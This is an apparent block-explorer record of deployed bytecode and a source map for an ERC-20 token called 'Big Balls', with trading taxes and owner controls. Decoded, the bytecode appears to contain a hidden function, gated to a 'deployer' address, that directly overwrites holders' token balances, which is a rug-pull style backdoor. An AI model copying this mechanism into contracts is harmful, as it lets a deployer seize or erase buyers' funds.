aa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610317578063a4e4380414610347578063a9059cbb1461035b578063bf474bed1461037a578063dd62ed3e1461038f578063ea414b28146103d3575f80fd5b8063715018a61461029f578063751039fc146102b35780637d1db4a5146102c75780638da5cb5b146102dc5780638f9a55c014610302575f80fd5b806323b872dd116100ee57806323b872dd146101f35780632f8d82f614610212578063313ce56714610231578063672434821461024c57806370a082311461026b575f80fd5b806306fdde0314610134578063095ea7b3146101775780630b0b9e1c146101a65780630faee56f146101bc57806318160ddd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260098152684269672042616c6c7360b81b60208201525b60405161016e9190611558565b60405180910390f35b348015610182575f80fd5b506101966101913660046115b8565b6103f2565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba610408565b005b3480156101c7575f80fd5b506101d160105481565b60405190815260200161016e565b3480156101ea575f80fd5b506101d1610471565b3480156101fe575f80fd5b5061019661020d3660046115e2565b610491565b34801561021d575f80fd5b506101ba61022c3660046115b8565b61050e565b34801561023c575f80fd5b506040516009815260200161016e565b348015610257575f80fd5b506101ba6102663660046116f4565b61063e565b348015610276575f80fd5b506101d16102853660046117b0565b6001600160a01b03165f9081526001602052604090205490565b3480156102aa575f80fd5b506101ba61069b565b3480156102be575f80fd5b506101ba6106f4565b3480156102d2575f80fd5b506101d1600d5481565b3480156102e7575f80fd5b505f546040516001600160a01b03909116815260200161016e565b34801561030d575f80fd5b506101d1600e5481565b348015610322575f80fd5b5060408051808201909152600881526742494742414c4c5360c01b6020820152610161565b348015610352575f80fd5b506101ba6107a5565b348015610366575f80fd5b506101966103753660046115b8565b610ab8565b348015610385575f80fd5b506101d1600f5481565b34801561039a575f80fd5b506101d16103a93660046117cb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103de575f80fd5b506101ba6103ed3660046117b0565b610ac4565b5f6103fe338484610b35565b5060015b92915050565b5f546001600160a01b0316331461043a5760405162461bcd60e51b815260040161043190611802565b60405180910390fd5b5f4711610445575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561046e573d5f803e3d5ffd5b50565b5f61047e6009600a61192b565b61048c90633b9aca00611939565b905090565b5f61049d848484610c58565b335f9081526003602052604090205460ff166105045761050484336104ff85604051806060016040528060288152602001611af4602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ac565b610b35565b5060019392505050565b5f546001600160a01b031633146105375760405162461bcd60e51b815260040161043190611802565b6040516370a0823160e01b81523060048201525f906105b8906064906105b29085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac9190611950565b906110e4565b90611169565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610614573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106389190611967565b50505050565b6013546001600160a01b0316336001600160a01b03161461068d5760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610431565b61069782826111aa565b5050565b5f546001600160a01b031633146106c45760405162461bcd60e51b815260040161043190611802565b6106d06009600a61192b565b6106de90633b9aca00611939565b600d54146106ea575f80fd5b6106f2611221565b565b5f546001600160a01b0316331461071d5760405162461bcd60e51b815260040161043190611802565b6107296009600a61192b565b61073790633b9aca00611939565b600d556107466009600a61192b565b61075490633b9aca00611939565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107846009600a61192b565b61079290633b9aca00611939565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107ce5760405162461bcd60e51b815260040161043190611802565b601354600160a01b900460ff16156108285760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610431565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610878573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089c9190611986565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091f9190611986565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610969573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098d9190611986565b601280546001600160a01b0319166001600160a01b039283161790556011546109cd913091166109bf6009600a61192b565b6104ff90633b9aca00611939565b6011546001600160a01b031663f305d71947306109fe816001600160a01b03165f9081526001602052604090205490565b5f80610a115f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a77573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a9c91906119a1565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f6103fe338484610c58565b6013546001600160a01b0316336001600160a01b031614610b135760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610431565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610431565b6001600160a01b038216610bf85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610431565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7e5760405162461bcd60e51b8152600401610431906119cc565b6001600160a01b038216610ce05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610431565b5f8111610d415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610431565b5f80546001600160a01b03858116911614801590610d6c57505f546001600160a01b03848116911614155b15610f6f576012546001600160a01b038581169116148015610d9c57506011546001600160a01b03848116911614155b8015610dc057506001600160a01b0383165f9081526003602052604090205460ff16155b15610ea157601354600160a01b900460ff16610e165760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610431565b610e226009600a61192b565b821015610e645760405162461bcd60e51b815260206004820152601060248201526f105b5bdd5b9d081d1bdbc81cdb585b1b60821b6044820152606401610431565b610e8a60646105b2600954600c5411610e7f57600554610e83565b6007545b85906110e4565b600c80549192505f610e9b83611a11565b91905055505b6012546001600160a01b0390811690841603610edf57610edc60646105b2600a54600c5411610ed257600654610e83565b60085485906110e4565b90505b601354600160a81b900460ff16158015610f0657506012546001600160a01b038481169116145b8015610f1b5750601354600160b01b900460ff165b8015610f2a5750600b54600c54115b15610f6f57305f90815260016020526040902054600f54811115610f6557610f65610f6084610f5b84601054611292565b611292565b6112a6565b610f6d611416565b505b8015610fe757305f90815260016020526040902054610f8e908261144c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fde9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100990836114aa565b6001600160a01b0385165f9081526001602052604090205561104c61102e83836114aa565b6001600160a01b0385165f908152600160205260409020549061144c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109585856114aa565b60405190815260200160405180910390a350505050565b5f81848411156110cf5760405162461bcd60e51b81526004016104319190611558565b505f6110db8486611a29565b95945050505050565b5f825f036110f357505f610402565b5f6110fe8385611939565b90508261110b8583611a3c565b146111625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610431565b9392505050565b5f61116283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114eb565b5f5b825181101561121c575f8382815181106111c8576111c8611a5b565b60209081029190910101516012549091506001600160a01b03908116908216036111f0575f80fd5b6112138184848151811061120657611206611a5b565b6020026020010151611517565b506001016111ac565b505050565b5f546001600160a01b0316331461124a5760405162461bcd60e51b815260040161043190611802565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f8183116112a05782611162565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ec576112ec611a5b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611343573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113679190611986565b8160018151811061137a5761137a611a5b565b6001600160a01b0392831660209182029290920101526011546113a09130911684610b35565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d89085905f90869030904290600401611a6f565b5f604051808303815f87803b1580156113ef575f80fd5b505af1158015611401573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561046e573d5f803e3d5ffd5b5f806114588385611ae0565b9050838110156111625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610431565b5f61116283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ac565b5f818361150b5760405162461bcd60e51b81526004016104319190611558565b505f6110db8486611a3c565b6001600160a01b03821661153d5760405162461bcd60e51b8152600401610431906119cc565b6001600160a01b039091165f90815260016020526040902055565b5f602080835283518060208501525f5b8181101561158457858101830151858201604001528201611568565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461046e575f80fd5b5f80604083850312156115c9575f80fd5b82356115d4816115a4565b946020939093013593505050565b5f805f606084860312156115f4575f80fd5b83356115ff816115a4565b9250602084013561160f816115a4565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561165d5761165d611620565b604052919050565b5f67ffffffffffffffff82111561167e5761167e611620565b5060051b60200190565b5f82601f830112611697575f80fd5b813560206116ac6116a783611665565b611634565b8083825260208201915060208460051b8701019350868411156116cd575f80fd5b602086015b848110156116e957803583529183019183016116d2565b509695505050505050565b5f8060408385031215611705575f80fd5b823567ffffffffffffffff8082111561171c575f80fd5b818501915085601f83011261172f575f80fd5b8135602061173f6116a783611665565b82815260059290921b8401810191818101908984111561175d575f80fd5b948201945b83861015611784578535611775816115a4565b82529482019490820190611762565b96505086013592505080821115611799575f80fd5b506117a685828601611688565b9150509250929050565b5f602082840312156117c0575f80fd5b8135611162816115a4565b5f80604083850312156117dc575f80fd5b82356117e7816115a4565b915060208301356117f7816115a4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561188557815f190482111561186b5761186b611837565b8085161561187857918102915b93841c9390800290611850565b509250929050565b5f8261189b57506001610402565b816118a757505f610402565b81600181146118bd57600281146118c7576118e3565b6001915050610402565b60ff8411156118d8576118d8611837565b50506001821b610402565b5060208310610133831016604e8410600b8410161715611906575081810a610402565b611910838361184b565b805f190482111561192357611923611837565b029392505050565b5f61116260ff84168361188d565b808202811582820484141761040257610402611837565b5f60208284031215611960575f80fd5b5051919050565b5f60208284031215611977575f80fd5b81518015158114611162575f80fd5b5f60208284031215611996575f80fd5b8151611162816115a4565b5f805f606084860312156119b3575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b5f60018201611a2257611a22611837565b5060010190565b8181038181111561040257610402611837565b5f82611a5657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611abf5784516001600160a01b031683529383019391830191600101611a9a565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104025761040261183756fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207350579d569e9b936bccb08a174d78cc63a0db8ea73e45195ffda1ef42d5cc7964736f6c63430008180033

Deployed Bytecode Sourcemap

4079:8564:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6356:83;;;;;;;;;;-1:-1:-1;6426:5:0;;;;;;;;;;;;-1:-1:-1;;;6426:5:0;;;;6356:83;;;;;;;:::i;:::-;;;;;;;;7612:161;;;;;;;;;;-1:-1:-1;7612:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7612:161:0;1023:187:1;11189:164:0;;;;;;;;;;;;;:::i;:::-;;5094:45;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5094:45:0;1215:177:1;6627:95:0;;;;;;;;;;;;;:::i;7173:329::-;;;;;;;;;;-1:-1:-1;7173:329:0;;;;;:::i;:::-;;:::i;11359:239::-;;;;;;;;;;-1:-1:-1;11359:239:0;;;;;:::i;:::-;;:::i;6538:83::-;;;;;;;;;;-1:-1:-1;6538:83:0;;4728:1;2000:36:1;;1988:2;1973:18;6538:83:0;1858:184:1;11604:186:0;;;;;;;;;;-1:-1:-1;11604:186:0;;;;;:::i;:::-;;:::i;6728:119::-;;;;;;;;;;-1:-1:-1;6728:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6821:18:0;6794:7;6821:18;;;:9;:18;;;;;;;6728:119;12463:142;;;;;;;;;;;;;:::i;10930:159::-;;;;;;;;;;;;;:::i;4924:49::-;;;;;;;;;;;;;;;;2866:79;;;;;;;;;;-1:-1:-1;2904:7:0;2931:6;2866:79;;-1:-1:-1;;;;;2931:6:0;;;4938:51:1;;4926:2;4911:18;2866:79:0;4792:203:1;4980:49:0;;;;;;;;;;;;;;;;6445:87;;;;;;;;;;-1:-1:-1;6517:7:0;;;;;;;;;;;;-1:-1:-1;;;6517:7:0;;;;6445:87;;11958:499;;;;;;;;;;;;;:::i;6853:167::-;;;;;;;;;;-1:-1:-1;6853:167:0;;;;;:::i;:::-;;:::i;5036:51::-;;;;;;;;;;;;;;;;7026:141;;;;;;;;;;-1:-1:-1;7026:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;7134:16:0;;;7107:7;7134:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;7026:141;11796:156;;;;;;;;;;-1:-1:-1;11796:156:0;;;;;:::i;:::-;;:::i;7612:161::-;7687:4;7704:39;723:10;7727:7;7736:6;7704:8;:39::i;:::-;-1:-1:-1;7761:4:0;7612:161;;;;;:::o;11189:164::-;2991:6;;-1:-1:-1;;;;;2991:6:0;723:10;2991:22;2983:67;;;;-1:-1:-1;;;2983:67:0;;;;;;;:::i;:::-;;;;;;;;;11279:1:::1;11255:21;:25;11247:34;;;::::0;::::1;;11292:53;::::0;723:10;;11323:21:::1;11292:53:::0;::::1;;;::::0;::::1;::::0;;;11323:21;723:10;11292:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11189:164::o:0;6627:95::-;6680:7;4787:15;4728:1;4787:2;:15;:::i;:::-;4771:31;;:13;:31;:::i;:::-;6700:14;;6627:95;:::o;7173:329::-;7273:4;7290:36;7300:6;7308:9;7319:6;7290:9;:36::i;:::-;7587:10;7551:4;7576:22;;;:10;:22;;;;;;;;7328:144;;7353:119;7362:6;723:10;7384:87;7420:6;7384:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7384:17:0;;;;;;:9;:17;;;;;;;;723:10;7384:31;;;;;;;;;;:35;:87::i;:::-;7353:8;:119::i;:::-;-1:-1:-1;7490:4:0;7173:329;;;;;:::o;11359:239::-;2991:6;;-1:-1:-1;;;;;2991:6:0;723:10;2991:22;2983:67;;;;-1:-1:-1;;;2983:67:0;;;;;;;:::i;:::-;11468:41:::1;::::0;-1:-1:-1;;;11468:41:0;;11503:4:::1;11468:41;::::0;::::1;4938:51:1::0;11450:15:0::1;::::0;11468:63:::1;::::0;11527:3:::1;::::0;11468:54:::1;::::0;11514:7;;-1:-1:-1;;;;;11468:26:0;::::1;::::0;::::1;::::0;4911:18:1;;11468:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;11450:81:::0;-1:-1:-1;;;;;;11542:25:0;::::1;;723:10:::0;11542:48:::1;::::0;-1:-1:-1;;;;;;11542:48:0::1;::::0;;;;;;-1:-1:-1;;;;;8077:32:1;;;11542:48:0::1;::::0;::::1;8059:51:1::0;8126:18;;;8119:34;;;8032:18;;11542:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11439:159;11359:239:::0;;:::o;11604:186::-;11720:8;;-1:-1:-1;;;;;11720:8:0;723:10;-1:-1:-1;;;;;11704:24:0;;11696:46;;;;-1:-1:-1;;;11696:46:0;;8648:2:1;11696:46:0;;;8630:21:1;8687:1;8667:18;;;8660:29;-1:-1:-1;;;8705:18:1;;;8698:39;8754:18;;11696:46:0;8446:332:1;11696:46:0;11753:29;11762:10;11774:7;11753:8;:29::i;:::-;11604:186;;:::o;12463:142::-;2991:6;;-1:-1:-1;;;;;2991:6:0;723:10;2991:22;2983:67;;;;-1:-1:-1;;;2983:67:0;;;;;;;:::i;:::-;4787:15:::1;4728:1;4787:2;:15;:::i;:::-;4771:31;::::0;:13:::1;:31;:::i;:::-;12537:12;;:23;12529:32;;;::::0;::::1;;12572:25;:23;:25::i;:::-;12463:142::o:0;10930:159::-;2991:6;;-1:-1:-1;;;;;2991:6:0;723:10;2991:22;2983:67;;;;-1:-1:-1;;;2983:67:0;;;;;;;:::i;:::-;4787:15:::1;4728:1;4787:2;:15;:::i;:::-;4771:31;::::0;:13:::1;:31;:::i;:::-;10983:12;:22:::0;4787:15:::1;4728:1;4787:2;:15;:::i;:::-;4771:31;::::0;:13:::1;:31;:::i;:::-;11016:14;:22:::0;11054:27:::1;4787:15;4728:1;4787:2;:15;:::i;:::-;4771:31;::::0;:13:::1;:31;:::i;:::-;11054:27;::::0;1361:25:1;;;1349:2;1334:18;11054:27:0::1;;;;;;;10930:159::o:0;11958:499::-;2991:6;;-1:-1:-1;;;;;2991:6:0;723:10;2991:22;2983:67;;;;-1:-1:-1;;;2983:67:0;;;;;;;:::i;:::-;12023:11:::1;::::0;-1:-1:-1;;;12023:11:0;::::1;;;12022:12;12014:47;;;::::0;-1:-1:-1;;;12014:47:0;;8985:2:1;12014:47:0::1;::::0;::::1;8967:21:1::0;9024:2;9004:18;;;8997:30;9063:25;9043:18;;;9036:53;9106:18;;12014:47:0::1;8783:347:1::0;12014:47:0::1;12106:15;;;;;;;;;-1:-1:-1::0;;;;;12106:15:0::1;-1:-1:-1::0;;;;;12106:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12088:55:0::1;;12152:4;12159:15;;;;;;;;;-1:-1:-1::0;;;;;12159:15:0::1;-1:-1:-1::0;;;;;12159:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12088:94;::::0;-1:-1:-1;;;;;;12088:94:0::1;::::0;;;;;;-1:-1:-1;;;;;9621:15:1;;;12088:94:0::1;::::0;::::1;9603:34:1::0;9673:15;;9653:18;;;9646:43;9538:18;;12088:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12072:13;:110:::0;;-1:-1:-1;;;;;;12072:110:0::1;-1:-1:-1::0;;;;;12072:110:0;;::::1;;::::0;;12225:15:::1;::::0;12193:58:::1;::::0;12210:4:::1;::::0;12225:15:::1;4787;4728:1;4787:2;:15;:::i;:::-;4771:31;::::0;:13:::1;:31;:::i;12193:58::-;12262:15;::::0;-1:-1:-1;;;;;12262:15:0::1;:31;12301:21;12332:4;12338:24;12332:4:::0;-1:-1:-1;;;;;6821:18:0;6794:7;6821:18;;;:9;:18;;;;;;;6728:119;12338:24:::1;12363:1;12365::::0;12367:7:::1;2904::::0;2931:6;-1:-1:-1;;;;;2931:6:0;;2866:79;12367:7:::1;12262:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12262:129:0;;;-1:-1:-1;;;;;10059:15:1;;;12262:129:0::1;::::0;::::1;10041:34:1::0;10091:18;;;10084:34;;;;10134:18;;;10127:34;;;;10177:18;;;10170:34;10241:15;;;10220:19;;;10213:44;12375:15:0::1;10273:19:1::0;;;10266:35;9975:19;;12262:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12402:11:0::1;:18:::0;;-1:-1:-1;;;;12431:18:0;-1:-1:-1;;;12431:18:0;;;-1:-1:-1;11958:499:0:o;6853:167::-;6931:4;6948:42;723:10;6972:9;6983:6;6948:9;:42::i;11796:156::-;11889:8;;-1:-1:-1;;;;;11889:8:0;723:10;-1:-1:-1;;;;;11873:24:0;;11865:46;;;;-1:-1:-1;;;11865:46:0;;8648:2:1;11865:46:0;;;8630:21:1;8687:1;8667:18;;;8660:29;-1:-1:-1;;;8705:18:1;;;8698:39;8754:18;;11865:46:0;8446:332:1;11865:46:0;11922:10;:22;;-1:-1:-1;;;;;;11922:22:0;-1:-1:-1;;;;;11922:22:0;;;;;;;;;;11796:156::o;7779:333::-;-1:-1:-1;;;;;7872:19:0;;7864:68;;;;-1:-1:-1;;;7864:68:0;;10825:2:1;7864:68:0;;;10807:21:1;10864:2;10844:18;;;10837:30;10903:34;10883:18;;;10876:62;-1:-1:-1;;;10954:18:1;;;10947:34;10998:19;;7864:68:0;10623:400:1;7864:68:0;-1:-1:-1;;;;;7951:21:0;;7943:68;;;;-1:-1:-1;;;7943:68:0;;11230:2:1;7943:68:0;;;11212:21:1;11269:2;11249:18;;;11242:30;11308:34;11288:18;;;11281:62;-1:-1:-1;;;11359:18:1;;;11352:32;11401:19;;7943:68:0;11028:398:1;7943:68:0;-1:-1:-1;;;;;8022:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;8072:32;;1361:25:1;;;8072:32:0;;1334:18:1;8072:32:0;;;;;;;7779:333;;;:::o;8118:1657::-;-1:-1:-1;;;;;8206:18:0;;8198:68;;;;-1:-1:-1;;;8198:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8285:16:0;;8277:64;;;;-1:-1:-1;;;8277:64:0;;12039:2:1;8277:64:0;;;12021:21:1;12078:2;12058:18;;;12051:30;12117:34;12097:18;;;12090:62;-1:-1:-1;;;12168:18:1;;;12161:33;12211:19;;8277:64:0;11837:399:1;8277:64:0;8369:1;8360:6;:10;8352:64;;;;-1:-1:-1;;;8352:64:0;;12443:2:1;8352:64:0;;;12425:21:1;12482:2;12462:18;;;12455:30;12521:34;12501:18;;;12494:62;-1:-1:-1;;;12572:18:1;;;12565:39;12621:19;;8352:64:0;12241:405:1;8352:64:0;8427:17;2931:6;;-1:-1:-1;;;;;8461:15:0;;;2931:6;;8461:15;;;;:32;;-1:-1:-1;2904:7:0;2931:6;-1:-1:-1;;;;;8480:13:0;;;2931:6;;8480:13;;8461:32;8457:964;;;8522:13;;-1:-1:-1;;;;;8514:21:0;;;8522:13;;8514:21;:55;;;;-1:-1:-1;8553:15:0;;-1:-1:-1;;;;;8539:30:0;;;8553:15;;8539:30;;8514:55;:75;;;;-1:-1:-1;;;;;;8575:14:0;;;;;;:10;:14;;;;;;;;8573:16;8514:75;8510:371;;;8619:11;;-1:-1:-1;;;8619:11:0;;;;8611:44;;;;-1:-1:-1;;;8611:44:0;;12853:2:1;8611:44:0;;;12835:21:1;12892:2;12872:18;;;12865:30;-1:-1:-1;;;12911:18:1;;;12904:51;12972:18;;8611:44:0;12651:345:1;8611:44:0;8692:15;4728:1;8692:2;:15;:::i;:::-;8682:6;:25;;8674:54;;;;-1:-1:-1;;;8674:54:0;;13203:2:1;8674:54:0;;;13185:21:1;13242:2;13222:18;;;13215:30;-1:-1:-1;;;13261:18:1;;;13254:46;13317:18;;8674:54:0;13001:340:1;8674:54:0;8759:76;8831:3;8759:67;8781:15;;8771:9;;:25;8770:55;;8811:14;;8770:55;;;8798:12;;8770:55;8759:6;;:10;:67::i;:76::-;8854:9;:11;;8747:88;;-1:-1:-1;8854:9:0;:11;;;:::i;:::-;;;;;;8510:371;8904:13;;-1:-1:-1;;;;;8904:13:0;;;8898:19;;;;8895:150;;8950:79;9025:3;8950:70;8972:16;;8962:9;;:26;8961:58;;9004:15;;8961:58;;;8990:13;;8950:6;;:10;:70::i;:79::-;8938:91;;8895:150;9064:6;;-1:-1:-1;;;9064:6:0;;;;9063:7;:30;;;;-1:-1:-1;9080:13:0;;-1:-1:-1;;;;;9074:19:0;;;9080:13;;9074:19;9063:30;:45;;;;-1:-1:-1;9097:11:0;;-1:-1:-1;;;9097:11:0;;;;9063:45;:77;;;;;9122:18;;9112:9;;:28;9063:77;9059:351;;;9210:4;9161:28;6821:18;;;:9;:18;;;;;;9259:17;;9238:38;;9235:131;;;9299:67;9316:49;9320:6;9327:37;9331:20;9352:11;;9327:3;:37::i;:::-;9316:3;:49::i;:::-;9299:16;:67::i;:::-;9385:9;:7;:9::i;:::-;9142:268;9059:351;9434:11;;9431:161;;9502:4;9484:24;;;;:9;:24;;;;;;:39;;9513:9;9484:28;:39::i;:::-;9477:4;9459:24;;;;:9;:24;;;;;;;:64;;;;9541:39;;-1:-1:-1;;;;;9541:39:0;;;;;;;9570:9;1361:25:1;;1349:2;1334:18;;1215:177;9541:39:0;;;;;;;;9431:161;-1:-1:-1;;;;;9618:15:0;;;;;;:9;:15;;;;;;:27;;9638:6;9618:19;:27::i;:::-;-1:-1:-1;;;;;9602:15:0;;;;;;:9;:15;;;;;:43;9670:40;9688:21;:6;9699:9;9688:10;:21::i;:::-;-1:-1:-1;;;;;9670:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9656:13:0;;;;;;;:9;:13;;;;;:54;;;;9726:41;;;9745:21;:6;9756:9;9745:10;:21::i;:::-;9726:41;;1361:25:1;;;1349:2;1334:18;9726:41:0;;;;;;;8187:1588;8118:1657;;;:::o;1772:190::-;1858:7;1894:12;1886:6;;;;1878:29;;;;-1:-1:-1;;;1878:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1918:9:0;1930:5;1934:1;1930;:5;:::i;:::-;1918:17;1772:190;-1:-1:-1;;;;;1772:190:0:o;1968:246::-;2026:7;2050:1;2055;2050:6;2046:47;;-1:-1:-1;2080:1:0;2073:8;;2046:47;2103:9;2115:5;2119:1;2115;:5;:::i;:::-;2103:17;-1:-1:-1;2148:1:0;2139:5;2143:1;2103:17;2139:5;:::i;:::-;:10;2131:56;;;;-1:-1:-1;;;2131:56:0;;14043:2:1;2131:56:0;;;14025:21:1;14082:2;14062:18;;;14055:30;14121:34;14101:18;;;14094:62;-1:-1:-1;;;14172:18:1;;;14165:31;14213:19;;2131:56:0;13841:397:1;2131:56:0;2205:1;1968:246;-1:-1:-1;;;1968:246:0:o;2220:132::-;2278:7;2305:39;2309:1;2312;2305:39;;;;;;;;;;;;;;;;;:3;:39::i;10042:304::-;10139:9;10134:205;10158:10;:17;10154:1;:21;10134:205;;;10197:17;10217:10;10228:1;10217:13;;;;;;;;:::i;:::-;;;;;;;;;;;10266;;10217;;-1:-1:-1;;;;;;10266:13:0;;;10253:26;;;;10245:35;;;;;;10295:32;10305:9;10316:7;10324:1;10316:10;;;;;;;;:::i;:::-;;;;;;;10295:9;:32::i;:::-;-1:-1:-1;10177:3:0;;10134:205;;;;10042:304;;:::o;3076:148::-;2991:6;;-1:-1:-1;;;;;2991:6:0;723:10;2991:22;2983:67;;;;-1:-1:-1;;;2983:67:0;;;;;;;:::i;:::-;3183:1:::1;3167:6:::0;;3146:40:::1;::::0;-1:-1:-1;;;;;3167:6:0;;::::1;::::0;3146:40:::1;::::0;3183:1;;3146:40:::1;3214:1;3197:19:::0;;-1:-1:-1;;;;;;3197:19:0::1;::::0;;3076:148::o;10352:98::-;10409:7;10436:1;10434;:3;10433:9;;10441:1;10433:9;;;-1:-1:-1;10439:1:0;10352:98;-1:-1:-1;10352:98:0:o;10456:468::-;5698:6;:13;;-1:-1:-1;;;;5698:13:0;-1:-1:-1;;;5698:13:0;;;10553:16:::1;::::0;;10567:1:::1;10553:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10553:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10553:16:0::1;10529:40;;10598:4;10580;10585:1;10580:7;;;;;;;;:::i;:::-;